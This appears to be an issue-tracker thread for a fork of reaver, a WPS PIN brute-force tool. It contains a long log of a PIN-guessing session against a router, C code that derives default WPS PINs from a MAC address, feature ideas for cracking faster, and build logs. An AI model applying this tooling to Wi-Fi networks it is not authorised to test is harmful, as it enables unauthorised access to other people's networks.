PKR: b7:b8:77:0b:8b:47:7d:8b:ef:73:31:b3:12:30:4d:07:8a:a3:92:c8:16:47:32:f5:57:ce:d8:6a:1d:65:47:b4:fb:06:24:fd:fe:f9:75:c5:e5:45:82:b2:eb:f6:85:9f:58:0a:aa:14:24:f5:3d:db:96:bb:ab:a9:64:ca:85:0d:8b:4b:cc:07:ba:b3:0d:24:ed:c6:57:e8:e8:16:0b:74:05:da:90:6b:17:00:71:6b:c2:e8:86:d5:a3:1e:ce:70:b5:ff:13:43:90:82:f3:39:c1:53:9b:f2:9d:a5:0a:43:1f:98:d2:c5:30:c5:8c:6d:26:7c:34:69:1b:ef:51:0d:01:31:48:5a:96:b4:ed:1d:b7:ad:8e:5d:fd:70:bd:b1:d5:b7:1f:12:71:26:21:28:7d:05:bf:32:d2:a5:ee:28:b3:17:49:9f:45:33:b1:a1:06:7d:a2:65:67:65:9d:94:e1:0b:54:af:80:fc:54:a8:5f:ec:9f:13:0d:40:89:34
-
AuthKey: 4f:8d:a0:d4:eb:89:35:6f:27:16:ae:ec:fa:2f:4c:f9:d4:98:28:1d:9b:59:a9:7e:3a:9f:01:5c:fe:07:04:bc
-
Sending M2 message
-
E-Hash1: b5:e5:6a:1d:95:eb:66:ec:7e:79:ea:f3:81:3c:09:b8:20:1d:99:cd:ba:4a:13:b8:33:d2:6e:4d:9c:cb:58:e3
-
E-Hash2: 14:db:df:ff:3f:0f:f3:43:0e:a8:2a:4e:91:14:37:be:82:27:06:0a:4d:f8:b6:f3:dc:ce:08:9f:82:41:f0:74
-
Received M3 message
-
Sending M4 message
-
Received WSC NACK
-
Sending WSC NACK
-
p2_index set to 65
-
Pin count advanced: 10065. Max pin attempts: 11000
-
Trying pin 43210565.
-
Sending EAPOL START request
-
Received identity request
-
Sending identity response
-
Received identity request
-
Sending identity response
-
E-Nonce: 4b:31:04:9e:6f:58:b4:9f:de:ba:26:91:0e:94:48:e9
-
PKE: eb:a4:84:36:61:72:9f:11:c6:9a:41:dc:ac:db:d6:1b:a3:77:83:06:60:bb:5c:b8:b7:d7:c2:db:a8:ec:68:bb:8f:2a:83:be:fd:78:1c:7b:6f:1a:ed:1d:a7:f6:3f:ad:6f:33:fd:4d:67:d6:62:ad:3c:cf:c8:97:2d:45:4c:94:87:fb:d1:10:e9:9f:78:c2:ab:3b:36:73:5c:13:d4:15:1c:88:86:89:31:91:58:ae:50:ee:bb:50:1c:8e:14:14:6d:96:b3:7b:2d:04:5f:83:77:1e:13:5e:9f:93:6e:ef:16:52:9b:ee:4d:73:1e:cf:05:3d:18:92:08:4e:ae:a8:dd:15:14:a2:03:c7:ad:82:c6:3f:fb:83:ed:20:0b:61:09:9a:34:0a:2c:2b:85:3f:e0:0a:ee:9b:ea:f8:97:87:a2:a6:b8:61:ca:fd:ad:d7:e8:3f:e5:5a:cc:20:48:4e:ea:fd:9c:75:21:15:42:e6:c3:3c:35:da:c4:5e:91:8d
-
WPS Manufacturer: Ayecom
-
WPS Model Name: AyecomWAP
-
WPS Model Number: DSL2740
-
Access Point Serial Number: 12345
-
Received M1 message
-
R-Nonce: 1a:dc:72:81:fc:44:12:1e:9f:ee:8e:5d:b4:f1:70:98
-
PKR: ca:2f:d9:11:b8:0e:f0:7f:6d:02:ee:d7:75:cf:d2:49:23:90:14:8d:2f:1b:49:02:fc:9c:e6:fa:c7:63:96:71:38:de:b6:9f:c4:4e:df:75:9b:93:30:89:e1:27:0a:3a:7e:5d:92:f2:2b:9b:4a:27:f9:61:be:c8:d0:0a:26:a4:95:df:ee:8a:d2:eb:eb:5d:fd:94:3b:da:e0:69:a6:01:1c:cd:f8:17:97:61:fa:44:92:4b:1c:dd:87:44:97:f9:0c:fa:88:b0:6a:84:14:0d:18:90:64:43:e7:7e:e2:fa:58:a5:57:74:0b:d6:e2:7d:06:d3:3d:9a:5a:86:84:86:f1:d1:75:7b:f9:ca:6f:1c:3a:93:ee:06:58:cd:b6:c8:76:76:47:7f:ec:95:5f:2f:d5:d4:07:bb:ff:bf:fc:e0:46:83:11:d2:84:15:aa:6e:c0:04:f0:34:dc:60:4d:e8:81:5f:79:cc:f5:89:6a:0a:36:ba:f3:98:6e:e9:46:4b
-
AuthKey: 49:29:be:4d:a0:ce:1e:e1:da:87:a6:ff:2f:93:45:01:f8:70:f3:2e:64:6a:61:a5:7d:7c:41:25:84:fd:37:31
-
Sending M2 message
-
E-Hash1: 78:e8:ba:69:95:a6:0a:20:f2:82:e6:a2:39:01:cf:00:ba:2c:64:99:5f:1e:7b:f9:23:02:d5:86:8e:56:b4:e3
-
E-Hash2: 46:b5:b4:6d:2c:6f:13:ff:fb:96:b5:2f:f7:12:15:cb:a0:b7:ab:40:f6:c8:93:bc:75:7c:70:a1:69:33:1d:85
-
Received M3 message
-
Sending M4 message
-
Received WSC NACK
-
Sending WSC NACK
-
p2_index set to 66
-
Pin count advanced: 10066. Max pin attempts: 11000
-
Trying pin 43210572.
-
Sending EAPOL START request
-
Received identity request
-
Sending identity response
-
Received identity request
-
Sending identity response
-
E-Nonce: dc:84:3c:8d:64:5e:3f:59:89:57:31:8a:ec:b9:44:bb
-
PKE: 21:4f:69:33:fa:be:ef:54:03:cc:a5:77:6f:90:55:8f:a8:c3:32:69:a7:0e:2b:ba:38:92:16:43:e3:75:9e:ac:6e:8f:22:61:fa:33:b0:01:27:2b:54:9a:34:d3:62:7d:ef:24:53:f4:01:ea:c0:b2:43:fa:f4:01:1d:8a:57:6a:2a:cc:08:a6:4b:8e:d1:47:2d:9a:99:a4:e6:e2:3c:71:08:80:0c:be:3b:35:e9:be:4d:7c:d4:18:e2:50:dd:61:46:e2:b6:c3:8d:ba:a4:34:b5:5b:d8:3c:cf:36:49:15:73:b8:41:67:fd:7f:23:ef:dd:b8:bf:bf:82:76:90:a4:70:3c:70:6a:07:33:09:2a:b5:17:e0:8e:5b:2a:5c:73:2a:18:c5:73:54:9e:ab:72:29:69:3c:f9:75:59:b2:df:8c:15:79:cb:8e:98:a7:23:f0:9a:28:8b:1b:64:fa:30:9e:2d:27:1e:5e:05:9f:cf:dc:4d:b9:44:43:44:a7:85
-
WPS Manufacturer: Ayecom
-
WPS Model Name: AyecomWAP
-
WPS Model Number: DSL2740
-
Access Point Serial Number: 12345
-
Received M1 message
-
R-Nonce: cb:ec:a5:d2:d6:74:d9:53:62:90:77:c9:fe:20:82:16
-
PKR: 97:b6:a6:ce:b2:00:7c:f0:c0:46:04:57:e5:7c:4d:5c:c3:12:77:17:3e:23:7a:5f:3d:73:a8:3a:f5:b5:7a:d0:b8:70:7e:cf:49:7e:9d:1b:3f:59:81:94:ae:fa:54:97:fe:d7:dc:67:08:b2:bf:fe:bd:4e:50:e3:ba:01:e1:4f:15:ee:e2:04:89:0d:dd:42:40:9a:a5:ef:45:aa:bd:19:21:47:c8:f7:79:fe:07:48:bd:20:b8:a0:82:ca:16:8c:5f:02:7f:fa:7f:ac:28:ba:9c:0c:67:d7:96:7f:62:80:1f:0a:c6:57:7c:ce:04:d3:ac:ed:cd:f7:e1:63:f3:59:5e:ee:38:b2:2b:31:fc:d1:6e:af:9e:71:2f:5a:d9:60:36:65:d4:af:9a:8d:b0:12:5a:f0:fd:a9:90:2c:e4:14:e6:de:bd:a5:19:d1:dd:0d:6b:08:97:c6:28:a4:6c:60:dd:5a:78:d9:40:64:3f:29:2b:d1:fa:4a:a4:6c:09:cb
-
AuthKey: fe:d6:e7:24:e3:41:4b:f2:49:87:1e:66:49:9f:95:40:b4:85:72:83:e6:4b:ca:53:51:98:de:73:92:43:1b:00
-
Sending M2 message
-
E-Hash1: 10:b2:b6:34:44:c2:34:25:54:4b:4e:f0:b9:6f:66:47:a6:22:94:c3:bf:39:03:9b:b5:f2:be:5b:9d:65:21:a8
-
E-Hash2: 45:9d:9e:f1:5f:07:96:b1:11:99:8c:56:3f:1e:b0:dd:37:e4:a4:aa:f8:28:6e:7e:9d:24:cc:52:ee:90:ba:c9
-
Received M3 message
-
Sending M4 message
-
Received WSC NACK
-
Sending WSC NACK
-
p2_index set to 67
-
Pin count advanced: 10067. Max pin attempts: 11000
-
91.52% complete. Elapsed time: 0d0h0m43s.
-
Estimated Remaining time: 0d1h2m12s
-
Trying pin 43210589.
-
Sending EAPOL START request
-
Received identity request
-
Sending identity response
-
Received identity request
-
Sending identity response
-
Received identity request
-
Sending identity response
-
Received identity request
-
Sending identity response
-
Received identity request
-
Sending identity response
-
Received identity request
-
Sending identity response
-
Received identity request
-
Sending identity response
[!] EAP_FAILURE: TERMINATE
- Sending WSC NACK
[!] WPS transaction failed (code: 0x03), re-trying last pin
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
^C
- Session saved.
root@bt:~/reaver-wps-fork-t6x/src#
Problem with TP-LINK TD-W8961ND
I tried this on TP-LINK TD-W8961ND (Ralink chipset:RT2860) and always stuck at M2 after getting the PKr, i think iT has something to do with wps version because Wash -i mon0 doesn't show Wps is enabled on the router but other tools on wifislax like WpsScan show that wps is not locked.
"[P] output" in non verbose mode
Maybe change the output of [P] messages to verbose mode?
algorithms and *.wpc file optimization (standard brute force order)
Hello everybody. :)
I would like to suggest you an idea...
th_6 introduced the option to generate the default PIN using some known algorithm
That's a really great idea.
I think that it could be used also to optimize the .wpc file. The ".wpc" files are those files that you will find in your reaver folder and keep a record of the attack
It is composed with first number that keep the progress made and then you have the first half of PIN and the seconds one (without last digit, checksum seems to be genrated live)
b the wpc file always start with 1234 for first half and then 567 for last choice.
That's good because that the PIN enabled if no PIN is defined by the router (the default PIN of WPSW protocol)
Then i think should be generated as second PIN the one tht follows the ZaoCHeChung alforithm ( cf computePIN / WPSPIN )
bssid hexadecimal >>> decimal
original code for comuptePIN
include ＜stdio.h＞
include ＜stdlib.h＞
int main()
{
unsigned int wps_pin_checksum(unsigned int pin);
int PIN = 0;
printf("ComputePIN-C83A35\n");
printf("Description:\n");
printf("If your wireless router MAC address start with "C83A35",\n");
printf("type the other six digits, you might be able to get the \n");
printf("WPS-PIN of this equipment, please have a try, good luck!\n\n");
printf("Code by ZhaoChunsheng 04/07/2012 http://iBeini.com\n\n");
printf("Input MAC Address(HEX):c83a35");
scanf("%x",&PIN);
printf("MAC Address(HEX) is: C83A35%X\n",PIN);
printf("WPS PIN is: %07d%d\n",PIN%10000000,wps_pin_checksum(PIN%10000000));
return 0;
}
unsigned int wps_pin_checksum(unsigned int pin)
{
unsigned int accum = 0;
while (pin)
{
accum += 3 * (pin % 10);
pin /= 10;
accum += pin % 10;
pin /= 10;
}
return (10 - accum % 10) % 10;
}
-.--------------------------------
end of code
This algorithm has been used among several builderswordwilde the last past 7 years
And could be generated indiscriminately Pin with other known algorithm to place them at the beginning of the wpc.file instead of random strings
cheers
edit 1 : - the pin.c binaries is where the *.wpc file are created
Instrallation Issue
I follow up the instruction to install, Everything Was fine but still reaver is not updated, Any checklists?
Speeding up cracking [feature request]
Hi! Would be interesting to ship a database-like file with contents like the following with the t6x reaver:
(11:22:33) {Zhao; Pixie; Markov}
(11:B3:3F) {Zhao; Pixie; 12345670; D-Link; Markov}
(FA:CE:00) {Zhao; Pixie; 1234567-1235567; Markov}
(C0:FF:EE) {Zhao; Pixie; 1234567,0102030,1122334; Markov}
(DE:FE:CA) {Zhao; Pixie; 1234567,0102030,1122334; Markov}
(BA:DB:07) {Decimal($MAC[0:6])%10000000}
can't compile reaver ubuntu 14.04
root@Lappi:/home/sheikh/Desktop/temp/reaver-wps-fork-t6x/src# make
(cd utils && make)
make[1]: Entering directory /home/sheikh/Desktop/temp/reaver-wps-fork-t6x/src/utils' CC base64.c common.c: In function ‘pingen_zhaochunsheng’: common.c:597:5: warning: passing argument 1 of ‘snprintf’ makes pointer from integer without a cast [enabled by default] snprintf(pin, pin_len, "%08d", (default_pin * 10) + wps_checksum(default_pin)); ^ In file included from /usr/include/features.h:374:0, from /usr/include/stdlib.h:24, from includes.h:25, from common.c:15: /usr/include/x86_64-linux-gnu/bits/stdio2.h:61:1: note: expected ‘char * __restrict__’ but argument is of type ‘int’ __NTH (snprintf (char *__restrict __s, size_t __n, ^ common.c: In function ‘pingen_zyxel’: common.c:614:5: warning: implicit declaration of function ‘wps_pin_checksum’ [-Wimplicit-function-declaration] return (pin * 10) + wps_pin_checksum(pin); ^ CC common.c CC ip_addr.c CC radiotap.c CC trace.c CC uuid.c CC wpa_debug.c CC wpabuf.c CC os_unix.c CC eloop.c ar crT libutils.a base64.o common.o ip_addr.o radiotap.o trace.o uuid.o wpa_debug.o wpabuf.o os_unix.o eloop.o make[1]: Leaving directory/home/sheikh/Desktop/temp/reaver-wps-fork-t6x/src/utils'
(cd tls && make)
make[1]: Entering directory /home/sheikh/Desktop/temp/reaver-wps-fork-t6x/src/tls' CC asn1.c In file included from bignum.c:21:0: libtommath.c: In function ‘mp_exptmod’: libtommath.c:580:9: warning: variable ‘dr’ set but not used [-Wunused-but-set-variable] int dr; ^ CC bignum.c CC pkcs1.c CC pkcs5.c CC pkcs8.c CC rsa.c CC tlsv1_client.c CC tlsv1_client_read.c CC tlsv1_client_write.c CC tlsv1_common.c CC tlsv1_cred.c CC tlsv1_record.c CC tlsv1_server.c tlsv1_server_read.c: In function ‘tls_process_client_key_exchange_rsa’: tlsv1_server_read.c:474:9: warning: variable ‘encr_len’ set but not used [-Wunused-but-set-variable] u16 encr_len; ^ CC tlsv1_server_read.c CC tlsv1_server_write.c CC x509v3.c ar crT libtls.a asn1.o bignum.o pkcs1.o pkcs5.o pkcs8.o rsa.o tlsv1_client.o tlsv1_client_read.o tlsv1_client_write.o tlsv1_common.o tlsv1_cred.o tlsv1_record.o tlsv1_server.o tlsv1_server_read.o tlsv1_server_write.o x509v3.o make[1]: Leaving directory/home/sheikh/Desktop/temp/reaver-wps-fork-t6x/src/tls'
(cd crypto && make)
make[1]: Entering directory /home/sheikh/Desktop/temp/reaver-wps-fork-t6x/src/crypto' CC aes-cbc.c CC aes-ctr.c CC aes-eax.c CC aes-encblock.c CC aes-internal.c CC aes-internal-dec.c CC aes-internal-enc.c CC aes-omac1.c CC aes-unwrap.c CC aes-wrap.c CC des-internal.c CC dh_group5.c CC dh_groups.c CC md4-internal.c CC md5.c md5-internal.c: In function ‘MD5Final’: md5-internal.c:185:5: warning: dereferencing type-punned pointer will break strict-aliasing rules [-Wstrict-aliasing] ((u32 *) ctx->in)[14] = ctx->bits[0]; ^ md5-internal.c:186:5: warning: dereferencing type-punned pointer will break strict-aliasing rules [-Wstrict-aliasing] ((u32 *) ctx->in)[15] = ctx->bits[1]; ^ In file included from ../utils/common.h:18:0, from md5-internal.c:17: md5-internal.c:191:29: warning: argument to ‘sizeof’ in ‘memset’ call is the same expression as the destination; did you mean to dereference it? [-Wsizeof-pointer-memaccess] os_memset(ctx, 0, sizeof(ctx)); /* In case it's sensitive */ ^ ../utils/os.h:413:41: note: in definition of macro ‘os_memset’ #define os_memset(s, c, n) memset(s, c, n) ^ CC md5-internal.c CC md5-non-fips.c CC milenage.c CC ms_funcs.c CC rc4.c CC sha1.c CC sha1-internal.c CC sha1-pbkdf2.c CC sha1-tlsprf.c CC sha1-tprf.c CC sha256.c CC sha256-internal.c CC crypto_internal.c CC crypto_internal-cipher.c CC crypto_internal-modexp.c CC crypto_internal-rsa.c CC tls_internal.c CC fips_prf_internal.c ar crT libcrypto.a aes-cbc.o aes-ctr.o aes-eax.o aes-encblock.o aes-internal.o aes-internal-dec.o aes-internal-enc.o aes-omac1.o aes-unwrap.o aes-wrap.o des-internal.o dh_group5.o dh_groups.o md4-internal.o md5.o md5-internal.o md5-non-fips.o milenage.o ms_funcs.o rc4.o sha1.o sha1-internal.o sha1-pbkdf2.o sha1-tlsprf.o sha1-tprf.o sha256.o sha256-internal.o crypto_internal.o crypto_internal-cipher.o crypto_internal-modexp.o crypto_internal-rsa.o tls_internal.o fips_prf_internal.o make[1]: Leaving directory/home/sheikh/Desktop/temp/reaver-wps-fork-t6x/src/crypto'
(cd wps && make)
make[1]: Entering directory /home/sheikh/Desktop/temp/reaver-wps-fork-t6x/src/wps' cc -I../utils -I ../ wps_attr_build.c -c cc -I../utils -I ../ wps_attr_parse.c -c cc -I../utils -I ../ wps_attr_process.c -c cc -I../utils -I ../ wps.c -c cc -I../utils -I ../ wps_common.c -c cc -I../utils -I ../ wps_dev_attr.c -c wps_dev_attr.c: In function ‘wps_process_manufacturer’: wps_dev_attr.c:200:26: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast] printf("%c", (char *) str[pixiecnt]); ^ wps_dev_attr.c:200:13: warning: format ‘%c’ expects argument of type ‘int’, but argument 2 has type ‘char *’ [-Wformat=] printf("%c", (char *) str[pixiecnt]); ^ wps_dev_attr.c: In function ‘wps_process_model_name’: wps_dev_attr.c:241:26: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast] printf("%c", (char *) str[pixiecnt]); ^ wps_dev_attr.c:241:13: warning: format ‘%c’ expects argument of type ‘int’, but argument 2 has type ‘char *’ [-Wformat=] printf("%c", (char *) str[pixiecnt]); ^ wps_dev_attr.c: In function ‘wps_process_model_number’: wps_dev_attr.c:280:26: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast] printf("%c", (char *) str[pixiecnt]); ^ wps_dev_attr.c:280:13: warning: format ‘%c’ expects argument of type ‘int’, but argument 2 has type ‘char *’ [-Wformat=] printf("%c", (char *) str[pixiecnt]); ^ wps_dev_attr.c: In function ‘wps_process_serial_number’: wps_dev_attr.c:319:26: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast] printf("%c", (char *) str[pixiecnt]); ^ wps_dev_attr.c:319:13: warning: format ‘%c’ expects argument of type ‘int’, but argument 2 has type ‘char *’ [-Wformat=] printf("%c", (char *) str[pixiecnt]); ^ wps_dev_attr.c:344:3: warning: passing argument 1 of ‘pingen_belkin’ makes pointer from integer without a cast [enabled by default] printf("[Pin Gen] Pin Generated : %08d\n",pingen_belkin(mac2str(get_bssid(),'\0'), str, str_len, 0)); ^ In file included from ../wps.h:40:0, from ../defs.h:45, from ../globule.h:37, from wps_dev_attr.c:15: ../utils/common.h:447:5: note: expected ‘char *’ but argument is of type ‘int’ int pingen_belkin(char *mac, char *serial, int len_serial, int add); ^ wps_dev_attr.c:344:3: warning: passing argument 2 of ‘pingen_belkin’ discards ‘const’ qualifier from pointer target type [enabled by default] printf("[Pin Gen] Pin Generated : %08d\n",pingen_belkin(mac2str(get_bssid(),'\0'), str, str_len, 0)); ^ In file included from ../wps.h:40:0, from ../defs.h:45, from ../globule.h:37, from wps_dev_attr.c:15: ../utils/common.h:447:5: note: expected ‘char *’ but argument is of type ‘const u8 *’ int pingen_belkin(char *mac, char *serial, int len_serial, int add); ^ wps_dev_attr.c:345:3: warning: passing argument 1 of ‘pingen_belkin’ makes pointer from integer without a cast [enabled by default] printf("[Pin Gen] Pin Generated (+1): %08d\n",pingen_belkin(mac2str(get_bssid(),'\0'), str, str_len, 1)); ^ In file included from ../wps.h:40:0, from ../defs.h:45, from ../globule.h:37, from wps_dev_attr.c:15: ../utils/common.h:447:5: note: expected ‘char *’ but argument is of type ‘int’ int pingen_belkin(char *mac, char *serial, int len_serial, int add); ^ wps_dev_attr.c:345:3: warning: passing argument 2 of ‘pingen_belkin’ discards ‘const’ qualifier from pointer target type [enabled by default] printf("[Pin Gen] Pin Generated (+1): %08d\n",pingen_belkin(mac2str(get_bssid(),'\0'), str, str_len, 1)); ^ In file included from ../wps.h:40:0, from ../defs.h:45, from ../globule.h:37, from wps_dev_attr.c:15: ../utils/common.h:447:5: note: expected ‘char *’ but argument is of type ‘const u8 *’ int pingen_belkin(char *mac, char *serial, int len_serial, int add); ^ wps_dev_attr.c:346:3: warning: passing argument 1 of ‘pingen_belkin’ makes pointer from integer without a cast [enabled by default] printf("[Pin Gen] Pin Generated (-1): %08d\n\n",pingen_belkin(mac2str(get_bssid(),'\0'), str, str_len, -1)); ^ In file included from ../wps.h:40:0, from ../defs.h:45, from ../globule.h:37, from wps_dev_attr.c:15: ../utils/common.h:447:5: note: expected ‘char *’ but argument is of type ‘int’ int pingen_belkin(char *mac, char *serial, int len_serial, int add); ^ wps_dev_attr.c:346:3: warning: passing argument 2 of ‘pingen_belkin’ discards ‘const’ qualifier from pointer target type [enabled by default] printf("[Pin Gen] Pin Generated (-1): %08d\n\n",pingen_belkin(mac2str(get_bssid(),'\0'), str, str_len, -1)); ^ In file included from ../wps.h:40:0, from ../defs.h:45, from ../globule.h:37, from wps_dev_attr.c:15: ../utils/common.h:447:5: note: expected ‘char *’ but argument is of type ‘const u8 *’ int pingen_belkin(char *mac, char *serial, int len_serial, int add); ^ wps_dev_attr.c:355:3: warning: passing argument 1 of ‘pingen_dlink’ makes pointer from integer without a cast [enabled by default] printf("[Pin Gen] Pin Generated : %08d\n",pingen_dlink(mac2str(get_bssid(),'\0'), 0)); ^ In file included from ../wps.h:40:0, from ../defs.h:45, from ../globule.h:37, from wps_dev_attr.c:15: ../utils/common.h:448:5: note: expected ‘char *’ but argument is of type ‘int’ int pingen_dlink(char *mac, int add); ^ wps_dev_attr.c:356:3: warning: passing argument 1 of ‘pingen_dlink’ makes pointer from integer without a cast [enabled by default] printf("[Pin Gen] Pin Generated (+1): %08d\n",pingen_dlink(mac2str(get_bssid(),'\0'), 1)); ^ In file included from ../wps.h:40:0, from ../defs.h:45, from ../globule.h:37, from wps_dev_attr.c:15: ../utils/common.h:448:5: note: expected ‘char *’ but argument is of type ‘int’ int pingen_dlink(char *mac, int add); ^ wps_dev_attr.c:357:3: warning: passing argument 1 of ‘pingen_dlink’ makes pointer from integer without a cast [enabled by default] printf("[Pin Gen] Pin Generated (-1): %08d\n\n",pingen_dlink(mac2str(get_bssid(),'\0'), -1)); ^ In file included from ../wps.h:40:0, from ../defs.h:45, from ../globule.h:37, from wps_dev_attr.c:15: ../utils/common.h:448:5: note: expected ‘char *’ but argument is of type ‘int’ int pingen_dlink(char *mac, int add); ^ cc -I../utils -I ../ wps_enrollee.c -c cc -I../utils -I ../ wps_registrar.c -c wps_registrar.c: In function ‘wps_build_m4’: wps_registrar.c:1499:5: warning: format ‘%d’ expects argument of type ‘int’, but argument 3 has type ‘size_t’ [-Wformat=] wpa_printf(MSG_DEBUG, "WPS: Dev Password Len: %d", wps->dev_password_len); ^ cc -I../utils -I ../ wps_ufd.c -c make[1]: Leaving directory/home/sheikh/Desktop/temp/reaver-wps-fork-t6x/src/wps'
(cd lwe && make BUILD_STATIC=y libiw.a)
make[1]: Entering directory /home/sheikh/Desktop/temp/reaver-wps-fork-t6x/src/lwe' cp wireless.21.h wireless.h gcc -Os -W -Wall -Wstrict-prototypes -Wmissing-prototypes -Wshadow -Wpointer-arith -Wcast-qual -Winline -I. -MMD -fPIC -c -o iwlib.so iwlib.c iwlib.c: In function ‘iw_enum_devices’: iwlib.c:254:14: warning: ignoring return value of ‘fgets’, declared with attribute warn_unused_result [-Wunused-result] fgets(buff, sizeof(buff), fh); ^ iwlib.c:255:14: warning: ignoring return value of ‘fgets’, declared with attribute warn_unused_result [-Wunused-result] fgets(buff, sizeof(buff), fh); ^ iwlib.c: In function ‘iw_get_kernel_we_version’: iwlib.c:337:10: warning: ignoring return value of ‘fgets’, declared with attribute warn_unused_result [-Wunused-result] fgets(buff, sizeof(buff), fh); ^ iwlib.c:353:10: warning: ignoring return value of ‘fgets’, declared with attribute warn_unused_result [-Wunused-result] fgets(buff, sizeof(buff), fh); ^ rm -f libiw.a ar cru libiw.a iwlib.so ranlib libiw.a make[1]: Leaving directory/home/sheikh/Desktop/temp/reaver-wps-fork-t6x/src/lwe'
(cd libwps && make)
make[1]: Entering directory /home/sheikh/Desktop/temp/reaver-wps-fork-t6x/src/libwps' gcc -Wall libwps.c -c libwps.c: In function ‘parse_wps_parameters’: libwps.c:29:12: warning: variable ‘data_len’ set but not used [-Wunused-but-set-variable] size_t data_len = 0, offset = 0; ^ make[1]: Leaving directory/home/sheikh/Desktop/temp/reaver-wps-fork-t6x/src/libwps'
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 globule.c -c
globule.c: In function ‘set_p1_index’:
globule.c:110:9: warning: implicit declaration of function ‘cprintf’ [-Wimplicit-function-declaration]
cprintf(VERBOSE,"[+] p1_index set to %i\n",index);
^
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 -Ilibwps argsparser.c -c
argsparser.c: In function ‘process_arguments’:
argsparser.c:97:17: warning: implicit declaration of function ‘set_op_gen_pin’ [-Wimplicit-function-declaration]
set_op_gen_pin(atoi(optarg));
^
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 init.c -c
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 misc.c -c
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 -Ilibwps sql.c -c
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 builder.c -c
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 crc.c -c
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 -Ilibwps 80211.c -c
80211.c: In function ‘read_ap_beacon’:
80211.c:76:12: warning: variable ‘tag_offset’ set but not used [-Wunused-but-set-variable]
size_t tag_offset = 0;
^
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 iface.c -c
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 -Ilibwps wpsmon.c .o libwps/.o wps/.o tls/bignum.o tls/libtls.a utils/libutils.a crypto/libcrypto.a lwe/libiw.a -ldl -lm -lpcap -lsqlite3 -o wash
wpsmon.c: In function ‘parse_wps_settings’:
wpsmon.c:427:7: warning: pointer targets in passing argument 2 of ‘strcat’ differ in signedness [-Wpointer-sign]
strcat(cmd_chipset, mac2str(get_bssid(),':'));
^
In file included from /usr/include/features.h:374:0,
from /usr/include/ctype.h:25,
from /usr/include/getopt.h:33,
from wpsmon.h:37,
from wpsmon.c:34:
/usr/include/x86_64-linux-gnu/bits/string3.h:140:1: note: expected ‘const char * restrict’ but argument is of type ‘unsigned char *’
__NTH (strcat (char *__restrict __dest, const char *__restrict __src))
^
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 -Ilibwps sigint.c -c
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 sigalrm.c -c
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 keys.c -c
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 pins.c -c
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 send.c -c
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 -Ilibwps exchange.c -c
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 -Ilibwps session.c -c
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 -Ilibwps cracker.c -c
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 -Ilibwps wpscrack.c *.o libwps/.o wps/*.o tls/bignum.o tls/libtls.a utils/libutils.a crypto/libcrypto.a lwe/libiw.a -ldl -lm -lpcap -lsqlite3 -o reaver
wpscrack.c: In function ‘main’:
wpscrack.c:40:33: warning: variable ‘r’ set but not used [-Wunused-but-set-variable]
int ret_val = EXIT_FAILURE, r = 0;
^
root@Lappi:/home/sheikh/Desktop/temp/reaver-wps-fork-t6x/src#
Reaver not passing pin from pixiewps correctly
Hi
Pixiewps v 1.1
Reaverwps fork 1.52
Previous versions working fine
(sorry for long pastes)
reaver -i mon0 -b xx:xx:xx:xx:xx:xx -vv -c 1 -K 1
Switching mon0 to channel 1
[+] Waiting for beacon from xx:xx:xx:xx:xx:xx
[+] Associated with xx:xx:xx:xx:xx:xx (ESSID: xxxxxxxx)
[+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: eb:0a:11:cf:fc:3c:03:3f:64:cf:df:d9:c5:a6:17:05
